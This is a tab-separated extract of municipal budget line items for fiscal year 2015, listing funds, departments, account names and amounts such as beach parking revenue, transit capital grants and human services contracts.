14368	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511681.0	VACANCY SAVINGS	810.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14369	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	567010.0	PUBLIC SAFETY BONDS	910.0	 Supplies and Expenses	2015	969000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	969000.0
14370	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	555210.0	TRAINING	804.0	 Supplies and Expenses	2015	7635.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7635.0
14371	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400220.0	MEMORIAL PARK GYM USER FEE	612.0	Charges for Service	2015	-21600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-21600.0
14372	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	400770.0	LEASE RENTAL REVENUE	618.0	Rentals	2015	-3981593.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-3981593.0
14373	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	400580.0	FILMING PERMITS	608.0	Licenses and Permits	2015	-88000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-88000.0
14374	BA	IS	31	Wastewater Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577880.0	SMURRF O&M COSTS		 Supplies and Expenses	2015	-452336.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-452336.0
14375	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570130.0	GF/SPEC FD REIM. AHPP DEV FEE	908.0	 Supplies and Expenses	2015	-60248.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-60248.0
14376	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2015	1570.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1570.0
14377	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2015	166.0	0	0	0	0	0	0.0	0	0	0	0	0.0	166.0
14378	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511730.0	WORKERS' COMP INSURANCE		Salaries and Wages	2015	4522649.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4522649.0
14379	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	533210.0	BLDG OPER / CUST SUPPLIES	812.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14380	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	577090.0	REIMBURSE WATER FUND		 Supplies and Expenses	2015	401104.0	0	0	0	0	0	0.0	0	0	0	0	0.0	401104.0
14381	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522620.0	RENT	810.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14382	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	555060.0	PROFESSIONAL SERVICES	812.0	 Supplies and Expenses	2015	20900.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20900.0
14383	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	555060.0	PROFESSIONAL SERVICES	812.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14384	BA	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577090.0	REIMBURSE WATER FUND		 Supplies and Expenses	2015	37735.0	0	0	0	0	0	0.0	0	0	0	0	0.0	37735.0
14385	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2015	15000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15000.0
14386	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522312.0	DISCOUNTS LOST	812.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14387	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522313.0	OFFICE SUPPLIES-LIT GRANT	812.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14388	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522541.0	ADVERTISTING-LIT GRANT	812.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14389	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522180.0	BANK FEES		 Supplies and Expenses	2015	100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	100.0
14390	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	401020.0	ELECTION-SMUSD/SMCCD/RC	610.0	Intergovernmental	2015	-200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-200.0
14391	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2015	44603.0	0	0	0	0	0	0.0	0	0	0	0	0.0	44603.0
14392	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2015	23556.0	0	0	0	0	0	0.0	0	0	0	0	0.0	23556.0
14393	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2015	15000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15000.0
14394	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2015	813.0	0	0	0	0	0	0.0	0	0	0	0	0.0	813.0
14395	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522720.0	MILEAGE	810.0	 Supplies and Expenses	2015	103.0	0	0	0	0	0	0.0	0	0	0	0	0.0	103.0
14396	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2015	11504.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11504.0
14397	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511749.0	VISION	840.0	Salaries and Wages	2015	1029.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1029.0
14398	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2015	1059.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1059.0
14399	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561101.0	CLARE FOUND-GENERAL FUND		 Supplies and Expenses	2015	115205.0	0	0	0	0	0	0.0	0	0	0	0	0.0	115205.0
14400	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561161.0	STEP UP-SANTUARY-GENERAL FUND		 Supplies and Expenses	2015	121084.0	0	0	0	0	0	0.0	0	0	0	0	0.0	121084.0
14401	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522976.0	LNG FUEL TAXES		 Supplies and Expenses	2015	370000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	370000.0
14402	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522620.0	RENT	804.0	 Supplies and Expenses	2015	18717.0	0	0	0	0	0	0.0	0	0	0	0	0.0	18717.0
14403	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	400681.0	EMS REVENUE	612.0	Charges for Service	2015	-1015413.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1015413.0
14404	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	400682.0	MEDICAL SUPPLIES REIMBURSEMENT	612.0	Charges for Service	2015	-88025.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-88025.0
14405	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511742.0	MEDICAL - FIRE	806.0	Salaries and Wages	2015	131653.0	0	0	0	0	0	0.0	0	0	0	0	0.0	131653.0
14406	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511742.0	MEDICAL - FIRE	806.0	Salaries and Wages	2015	2250416.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2250416.0
14407	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511772.0	RETIREMENT - FIRE	806.0	Salaries and Wages	2015	128449.0	0	0	0	0	0	0.0	0	0	0	0	0.0	128449.0
14408	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577080.0	TMP FEES REIMBURSEMENT	908.0	 Supplies and Expenses	2015	-597147.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-597147.0
14409	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2015	7000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7000.0
14410	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS		PRINTING - GENERAL		 Supplies and Expenses	2015	7500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7500.0
14411	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	407410.0	CONSTRUCTION & DEMOLITION	650.0	Charges for Service	2015	-620000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-620000.0
14412	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511970.0	OTHER FRINGE BENEFITS	804.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14413	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2015	60236.0	0	0	0	0	0	0.0	0	0	0	0	0.0	60236.0
14414	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511681.0	VACANCY SAVINGS	806.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14415	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511681.0	VACANCY SAVINGS	812.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14416	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE	810.0	 Supplies and Expenses	2015	35319.0	0	0	0	0	0	0.0	0	0	0	0	0.0	35319.0
14417	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2015	2154.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2154.0
14418	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	523000.0	VEHICLE MGMT FUND-MAINTENANCE		 Supplies and Expenses	2015	26642.0	0	0	0	0	0	0.0	0	0	0	0	0.0	26642.0
14419	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	407501.0	CAPITAL GRANTS-MISC PROJ-TDA	657.0	Capital Grants	2015	-12156727.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-12156727.0
14420	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	407512.0	CAPITAL GRANTS-REV EQP-PROP A	657.0	Capital Grants	2015	-6763405.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-6763405.0
14421	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511970.0	OTHER FRINGE BENEFITS	806.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14422	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2015	273441.0	0	0	0	0	0	0.0	0	0	0	0	0.0	273441.0
14423	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2015	587357.0	0	0	0	0	0	0.0	0	0	0	0	0.0	587357.0
14424	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511490.0	OVERTIME	810.0	Salaries and Wages	2015	4981.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4981.0
14425	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2015	5640.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5640.0
14426	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2015	2917.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2917.0
14427	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2015	1627.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1627.0
14428	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2015	6490.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6490.0
14429	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511490.0	OVERTIME	804.0	Salaries and Wages	2015	4875.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4875.0
14430	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2015	7000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7000.0
14431	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	555014.0	OUTSIDE REPAIRS - EQUIPMENT		 Supplies and Expenses	2015	2500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2500.0
14432	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	577064.0	OTHER MISCELLANEOUS EXPENSES		 Supplies and Expenses	2015	2000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2000.0
14433	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14434	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	544111.0	PROMOTIONAL ITEMS		 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14435	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2015	1116689.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1116689.0
14436	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	402060.0	STA SALES TAX -OPERATING	658.0	Sales Tax	2015	-2898773.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-2898773.0
14437	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544120.0	PERIODICALS	810.0	 Supplies and Expenses	2015	1538.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1538.0
14438	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2015	29076.0	0	0	0	0	0	0.0	0	0	0	0	0.0	29076.0
14439	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2015	23871.0	0	0	0	0	0	0.0	0	0	0	0	0.0	23871.0
14440	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2015	8409.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8409.0
14441	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2015	540.0	0	0	0	0	0	0.0	0	0	0	0	0.0	540.0
14442	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562281.0	YOUTH DEVELOPMENT PROJECT		 Supplies and Expenses	2015	275518.0	0	0	0	0	0	0.0	0	0	0	0	0.0	275518.0
14443	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563121.0	CARE MANAGEMENT		 Supplies and Expenses	2015	225448.0	0	0	0	0	0	0.0	0	0	0	0	0.0	225448.0
14444	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	565161.0	VENICE FAMILY CLINIC-GEN FUND		 Supplies and Expenses	2015	93319.0	0	0	0	0	0	0.0	0	0	0	0	0.0	93319.0
14445	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	565231.0	GENERAL COMMUNITY LEGAL SRVCES		 Supplies and Expenses	2015	399219.0	0	0	0	0	0	0.0	0	0	0	0	0.0	399219.0
14446	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	565271.0	SOJOURN/DOMESTIC VIOLENCE NTWR		 Supplies and Expenses	2015	7107.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7107.0
14447	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	407630.0	CONSTRUCTION & DEMO PERMIT FEE	650.0	Charges for Service	2015	-304600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-304600.0
14448	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2015	659230.0	0	0	0	0	0	0.0	0	0	0	0	0.0	659230.0
14449	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	555061.0	OUTSIDE AUDIT EXPENSES		 Supplies and Expenses	2015	32000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	32000.0
14450	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2015	26469.0	0	0	0	0	0	0.0	0	0	0	0	0.0	26469.0
14451	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	544115.0	FARE MEDIA		 Supplies and Expenses	2015	25000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	25000.0
14452	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	555014.0	OUTSIDE REPAIRS - OFFICE EQUIP		 Supplies and Expenses	2015	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
14453	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	522545.0	AD SALES (BBB)		 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14454	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522151.0	STORMWATER MANAGEMENT-GF	804.0	 Supplies and Expenses	2015	7053.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7053.0
14455	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	403010.0	OPERATING INTEREST - CITY	659.0	Investment Income	2015	-76763.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-76763.0
14456	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404280.0	PROP A LOCAL RETURN	658.0	Sales Tax	2015	-934455.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-934455.0
14457	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	566910.0	MAINTENANCE-PARKING FACILITIES	804.0	 Supplies and Expenses	2015	147000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	147000.0
14458	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	407390.0	GYM RENTALS	618.0	Rentals	2015	-42000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-42000.0
14459	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522310.0	OFFICE SUPPLIES / EXPENSES	816.0	 Supplies and Expenses	2015	5192.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5192.0
14460	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	401260.0	BEACH PARKING	612.0	Charges for Service	2015	-10200000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-10200000.0
14461	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	400950.0	MOUNTAIN VIEW LEASE REVENUE	618.0	Rentals	2015	-406000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-406000.0
14462	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS		DCAP	804.0	Salaries and Wages	2015	1076.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1076.0
14463	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2015	29610.0	0	0	0	0	0	0.0	0	0	0	0	0.0	29610.0
14464	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	555010.0	CONTRACTUAL SERVICES	804.0	 Supplies and Expenses	2015	7569368.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7569368.0
14465	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	555062.0	CONSULTING SERVICES		 Supplies and Expenses	2015	10000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10000.0
14466	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	544111.0	PROMOTIONAL ITEMS		 Supplies and Expenses	2015	17200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	17200.0
14467	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	511490.0	OVERTIME		Salaries and Wages	2015	9524.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9524.0
14468	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	522544.0	GRAPHIC DESIGN		 Supplies and Expenses	2015	9000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9000.0
14469	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2015	38394.0	0	0	0	0	0	0.0	0	0	0	0	0.0	38394.0
14470	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2015	170319.0	0	0	0	0	0	0.0	0	0	0	0	0.0	170319.0
14471	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511747.0	CASH-IN-LIEU	804.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14472	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2015	113099.0	0	0	0	0	0	0.0	0	0	0	0	0.0	113099.0
14473	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2015	100458.0	0	0	0	0	0	0.0	0	0	0	0	0.0	100458.0
14474	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2015	15860.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15860.0
14475	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2015	135201.0	0	0	0	0	0	0.0	0	0	0	0	0.0	135201.0
14476	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2015	216621.0	0	0	0	0	0	0.0	0	0	0	0	0.0	216621.0
14477	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2015	90992.0	0	0	0	0	0	0.0	0	0	0	0	0.0	90992.0
14478	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511743.0	MEDICAL - MISC. EMPL	812.0	Salaries and Wages	2015	185925.0	0	0	0	0	0	0.0	0	0	0	0	0.0	185925.0
14479	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2015	1102978.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1102978.0
14480	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511746.0	MED TRUST - MISC. EMPL		Salaries and Wages	2015	12390.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12390.0
14481	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511748.0	DENTAL	806.0	Salaries and Wages	2015	31305.0	0	0	0	0	0	0.0	0	0	0	0	0.0	31305.0
14482	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2015	1512.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1512.0
14483	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2015	300000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	300000.0
14484	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2015	4449.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4449.0
14485	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555950.0	COMM SERV FACIL / MGMT	810.0	 Supplies and Expenses	2015	4512.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4512.0
14486	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561131.0	OPCC-CASE MGMT-GENERAL FUND		 Supplies and Expenses	2015	217289.0	0	0	0	0	0	0.0	0	0	0	0	0.0	217289.0
14487	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561143.0	ST JOE-SHELTER PLUS CARE PROG		 Supplies and Expenses	2015	39635.0	0	0	0	0	0	0.0	0	0	0	0	0.0	39635.0
14488	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561291.0	UBH-FAMILY PLACE TRANS HOUSING		 Supplies and Expenses	2015	15529.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15529.0
